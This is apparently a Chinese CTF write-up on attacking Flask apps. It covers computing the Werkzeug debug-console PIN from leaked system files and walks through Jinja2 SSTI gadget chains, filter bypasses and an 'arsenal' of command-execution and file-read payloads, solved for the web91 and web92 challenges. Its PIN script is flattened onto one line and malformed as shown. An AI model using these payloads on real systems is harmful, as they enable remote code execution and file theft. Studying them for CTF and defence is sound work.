目录
计算PIN码
例题1
SSTI的引用链
例题2
SSTI利用条件:
渲染字符串可控,也就说模板的内容可控
我们通过模板 语法 {{ xxx }}相当于变相的执行了服务器上的python代码
利用render_template_string函数参数可控,或者部分可控
render_template 相当于 include 传入的时模板的名字,执行的时模板文件内的模板语法
render_template_string 相当于 eval 执行传入的字符串,直接作为模板语法解析
验证ssti是否存在
1 {{ 2*2 }}
2 {{ config }}
计算PIN码
 如果文件读取存在,可以拼凑出PIN的所有计算要素,从而自己计算出PIN码
计算PIN码
modname: flask.app
 username: Administrator
public_bits 内容
['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py']
我们需要知道当前登陆的用户名
private_bits 内容
['197975952026825', b'5d744fd6-d3af-4dec-83f4-04043f200c3c']
getNode     uuid.getnode
 machine_id  读注册表内容
 总结
 要计算PIN码,需要private_bits 和public_bits 
分别需要确定的是:
1 python运行的脚本名
 2 固定值  flask.app
 3 固定值  Flask
 4 当前脚本运行的绝对路径  可以从报错获取
 5 uuid.getnode
 6 machine_id
 ['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py']
 ['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\Lib\\site-packages\\flask\\app.py']
 ['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c']
 ['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c']
linux下
 getNode读取的文件  /sys/class/net/eth0/address
02:42:0a:00:01:74
对其进行整理
 >>> s='02:42:0a:00:01:74'
 >>> s=s.replace(":","")
 >>> print(int(s[1:],16))
 2482658869620
boot_id  44ddd8c9-5268-4269-9bd7-5563103e44c2
 3fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163
machine_id /proc/sys/kernel/random/boot_id+/proc/self/cgroup
整理后 拼接
最终machine_id
05167573-d6ac-4836-ab76-a7897c7a600a67b526fe168364350b1a9d0ebfeb5507ccd18a0266195ce58774271715af430e
例题1
web91

访问/console发现开启了debug模式

读/etc/passwd看用户名
 
随便传值,使其报错
得到app路径:/usr/local/lib/python3.8/site-packages/flask/app.py

/sys/class/net/eth0/address读getNode得到uuid

02420a000168 十六进制转十进制即可
2,482,658,869,608
尝试读 /etc/machine-id失败
读/proc/sys/kernel/random/boot_id

读 /proc/self/cgroup

整理后 拼接得到最终machine_id
44ddd8c9-5268-4269-9bd7-5563103e44c23fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163
贴出算PIN码的脚本
import hashlib
from itertools import chaindef getPIN(public_bits,private_bits):rv = Nonenum = Noneh = hashlib.sha1()for bit in chain(public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsif num is None:h.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x : x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = numreturn rv, cookie_nameif __name__ == "__main__":public_bits=['root','flask.app','Flask','/usr/local/lib/python3.8/site-packages/flask/app.py'
]private_bits=['2482658869608','44ddd8c9-5268-4269-9bd7-5563103e44c23fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163']PIN = getPIN(public_bits,private_bits)print(PIN)
成功拿下console ,为所欲为即可

SSTI的引用链
 "".__class__.__base__  拿到Object对象
.__subclasses__()[144]. 拿到os类
__init__.__globals__['popen']('calc') 调用os类的popen方法,执行calc参数
"".__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('calc')
突破过滤
1 过滤字符.
"".__class__ 转化为 ""['__class__'']
name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}
 2 过滤下划线_
第一种 构造下划线 {% set a =(()|select|string|list).pop(24) %} {% print(a) %}
第二种 十六进制绕过 {{ ()["\x5f\x5fclass\x5f\x5f"] }}
3 绕过[]过滤
__getitem__ 可以把中括号换成小括号使用
name={{ "".__class__.__base__.__subclasses__().__getitem__(132) }}
4 过滤了{{
使用{% 绕过
5 过滤了单引号或者双引号
name={{ "".__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__[request.args.a](request.args.b).read() }}
 6 过滤了数字
构造出1 {{(dict(e=a)|join|count)}}
 7 关键字绕过
class base
{{dict(__cl=a,ass__=a)|join}}
8 还可以使用全角的数字绕过
0123456789
 SSTI武器库
 1、任意命令执行
 {%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
 2、任意命令执行
 {{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
 //这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
 3、任意命令执行
 {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
 4、任意命令执行
 {{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
 //x的含义是可以为任意字母,不仅仅限于x
 5、任意命令执行
 {{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
 6、文件读取
 {{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
 //x的含义是可以为任意字母,不仅仅限于x
例题2
web92

访问/login路由

随便传一个post

报错提示让post传一个name

存在ssti
先找os
演示一种比较实用的找os索引值的方法
post:
name={{"".__class__.__base__.__subclasses__()}}
先复制

粘贴到记事本中,ctrl+f找到os
删去该os及其后所有类
复制,粘贴到vscode中
ctrl+f搜索","有几个逗号,os的索引值就是几,这里就是132

payload:
name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('tac /F*').read()}}
或者
name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}
name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('tac /F*')['read']()}}